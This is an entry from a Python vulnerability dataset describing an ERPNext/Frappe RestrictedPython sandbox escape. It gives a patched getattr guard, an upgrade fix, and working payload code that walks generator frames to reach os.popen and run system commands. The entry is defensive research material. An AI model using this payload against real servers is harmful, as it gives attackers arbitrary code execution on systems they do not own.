CVE-2023-54345
ERPNext sandbox escape allows System Managers to execute arbitrary code.
- CVSS 8.7
- CWE-94
- Design Defects
- Remote
Frappe Framework ERPNext 13.4.0 contains a sandbox escape vulnerability in RestrictedPython that allows authenticated users with System Manager role to execute arbitrary code by exploiting frame introspection. Attackers can create a server script via the /app/server-script endpoint and access the gi_frame attribute to traverse the call stack and invoke os.popen to execute system commands.
- CWE
- CWE-94
- CVSS base score
- 8.7
- Published
- 2026-05-05
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Design Defects
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- RestrictedPy
- Fixed by upgrading
- Yes
Solution
Upgrade to version 13.11.0 or later.
Vulnerable code sample
def get_frame():
yield
# Create a generator and access its frame object
g = get_frame()
frame = g.gi_frame
# Traverse up the call stack to find a frame outside the sandbox
while frame:
# Check if the frame's globals contain the unrestricted 'os' module
if 'os' in frame.f_globals:
# Execute an arbitrary command using the found 'os' module
command_output = frame.f_globals['os'].popen('id').read()
# In a real attack, this output would be exfiltrated, for example,
# by assigning it to a field in the document.
# frappe.local.response["result"] = command_output
break
# Move to the parent frame
frame = frame.f_backPatched code sample
import types
def patched_getattr_guard(obj, name):
"""
This function represents the logic of the fix.
A secure 'getattr' implementation within a sandbox must prevent access to
sensitive attributes on objects. The vulnerability was that 'gi_frame'
on generator objects was not blocked. The fix is to explicitly deny it.
"""
# The core of the fix: check if the object is a generator and if the
# requested attribute is 'gi_frame' or another sensitive attribute.
if isinstance(obj, types.GeneratorType) and name in {
"gi_frame",
"gi_code",
"gi_running",
"gi_yieldfrom",
}:
raise AttributeError(
f"Access to the sensitive generator attribute '{name}' is denied."
)
# For any other attribute or object type, allow the access to proceed.
return getattr(obj, name)Payload
def get_frame():
yield
g = get_frame()
frame = g.gi_frame
while frame:
if 'os' in frame.f_globals:
os_module = frame.f_globals['os']
frappe.response['message'] = os_module.popen('id').read()
break
frame = frame.f_back
Cite this entry
@misc{vaitp:cve202354345,
title = {{ERPNext sandbox escape allows System Managers to execute arbitrary code.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2023-54345},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2023-54345/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
